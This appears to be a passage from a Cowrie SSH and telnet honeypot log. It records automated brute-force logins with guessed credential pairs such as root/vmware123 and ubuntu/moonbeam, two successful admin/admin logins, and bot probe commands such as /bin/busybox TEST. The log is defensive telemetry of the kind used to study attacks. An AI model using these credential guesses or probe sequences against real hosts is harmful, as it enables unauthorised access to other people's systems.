nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:25.672883Z","src_ip":"181.0.214.136","session":"fb39ebdd3d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vmware123","message":"login attempt [root/vmware123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:26.392047Z","src_ip":"181.0.214.136","session":"fb39ebdd3d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:27.569777Z","src_ip":"181.0.214.136","session":"fb39ebdd3d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132632255554,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:27.611613Z","src_ip":"152.42.224.71","session":"235436f7de4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":48144,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f6126f46c5","protocol":"ssh","message":"New connection: 49.51.200.156:48144 (10.17.0.5:22) [session: 51f6126f46c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:30.106931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:30.115745Z","src_ip":"49.51.200.156","session":"51f6126f46c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:30.185184Z","src_ip":"49.51.200.156","session":"51f6126f46c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025","message":"login attempt [root/Welcome2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:30.492357Z","src_ip":"49.51.200.156","session":"51f6126f46c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:31.565343Z","src_ip":"49.51.200.156","session":"51f6126f46c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":41252,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ff081deebce","protocol":"ssh","message":"New connection: 43.153.85.27:41252 (10.17.0.5:22) [session: 8ff081deebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:32.181566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:32.186566Z","src_ip":"43.153.85.27","session":"8ff081deebce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:32.255652Z","src_ip":"43.153.85.27","session":"8ff081deebce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:32.561557Z","src_ip":"43.153.85.27","session":"8ff081deebce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.08095026016235,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:32.907631Z","src_ip":"152.42.224.71","session":"6a25d42c9db0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:33.634259Z","src_ip":"43.153.85.27","session":"8ff081deebce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.228.62.150","src_port":41707,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc48c79a0f1","protocol":"ssh","message":"New connection: 66.228.62.150:41707 (159.203.135.109:22) [session: 3bc48c79a0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:37.316436Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57412,"dst_ip":"10.17.0.5","dst_port":22,"session":"39317d2aadb5","protocol":"ssh","message":"New connection: 193.32.162.145:57412 (10.17.0.5:22) [session: 39317d2aadb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:38.275711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:38.280461Z","src_ip":"193.32.162.145","session":"39317d2aadb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:38.360464Z","src_ip":"66.228.62.150","session":"3bc48c79a0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:38.437908Z","src_ip":"193.32.162.145","session":"39317d2aadb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moonbeam","message":"login attempt [ubuntu/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:38.808903Z","src_ip":"193.32.162.145","session":"39317d2aadb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:39.918564Z","src_ip":"193.32.162.145","session":"39317d2aadb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.577892541885376,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:48.214861Z","src_ip":"152.42.224.71","session":"3e953d87063b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39614,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b616b1eeab2","protocol":"telnet","message":"New connection: 152.42.224.71:39614 (10.17.0.5:23) [session: 6b616b1eeab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:51.744630Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46122,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de76cb46931","protocol":"ssh","message":"New connection: 87.251.64.176:46122 (10.17.0.5:22) [session: 0de76cb46931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:52.113250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:52.118170Z","src_ip":"87.251.64.176","session":"0de76cb46931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:52.214988Z","src_ip":"87.251.64.176","session":"0de76cb46931","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:52.505338Z","src_ip":"87.251.64.176","session":"0de76cb46931","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:52.604408Z","session":"0de76cb46931","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:52.705912Z","src_ip":"87.251.64.176","session":"0de76cb46931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:52.806637Z","src_ip":"87.251.64.176","session":"0de76cb46931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39630,"dst_ip":"10.17.0.5","dst_port":23,"session":"111b6553bd4e","protocol":"telnet","message":"New connection: 152.42.224.71:39630 (10.17.0.5:23) [session: 111b6553bd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:53.255035Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53388,"dst_ip":"159.203.135.109","dst_port":23,"session":"997fb8b09b34","protocol":"telnet","message":"New connection: 176.65.139.121:53388 (159.203.135.109:23) [session: 997fb8b09b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:33:58.278821Z"}
{"eventid":"cowrie.session.closed","duration":4.071844816207886,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:02.350543Z","src_ip":"176.65.139.121","session":"997fb8b09b34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53400,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf93e3864a7","protocol":"telnet","message":"New connection: 176.65.139.121:53400 (159.203.135.109:23) [session: abf93e3864a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:02.482218Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40082,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d03e47228b3","protocol":"telnet","message":"New connection: 152.42.224.71:40082 (10.17.0.5:23) [session: 6d03e47228b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:07.976401Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:08.546839Z","src_ip":"176.65.139.121","session":"abf93e3864a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.066364049911499,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:09.547346Z","src_ip":"176.65.139.121","session":"abf93e3864a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":43742,"dst_ip":"159.203.135.109","dst_port":23,"session":"cefd49721288","protocol":"telnet","message":"New connection: 176.65.139.121:43742 (159.203.135.109:23) [session: cefd49721288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:09.628515Z"}
{"eventid":"cowrie.session.closed","duration":3.709766149520874,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:13.338175Z","src_ip":"176.65.139.121","session":"cefd49721288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":43756,"dst_ip":"159.203.135.109","dst_port":23,"session":"a518a9f9dacb","protocol":"telnet","message":"New connection: 176.65.139.121:43756 (159.203.135.109:23) [session: a518a9f9dacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:13.417155Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":48030,"dst_ip":"159.203.135.109","dst_port":22,"session":"53748cf21759","protocol":"ssh","message":"New connection: 59.16.212.232:48030 (159.203.135.109:22) [session: 53748cf21759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:17.022991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:17.028261Z","src_ip":"59.16.212.232","session":"53748cf21759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:17.235410Z","src_ip":"59.16.212.232","session":"53748cf21759","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:17.487700Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:17.542349Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"morgan","password":"morgan","message":"login attempt [morgan/morgan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:18.087260Z","src_ip":"59.16.212.232","session":"53748cf21759","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:18.506802Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:19.152511Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:19.295305Z","src_ip":"59.16.212.232","session":"53748cf21759","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:20.629225Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:21.395617Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:21.399875Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"4.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:21.821928Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.418579339981079,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:21.835649Z","src_ip":"176.65.139.121","session":"a518a9f9dacb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":8766,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6970f52b2a0","protocol":"ssh","message":"New connection: 38.93.206.2:8766 (10.17.0.5:22) [session: f6970f52b2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:34:24.278945Z"}
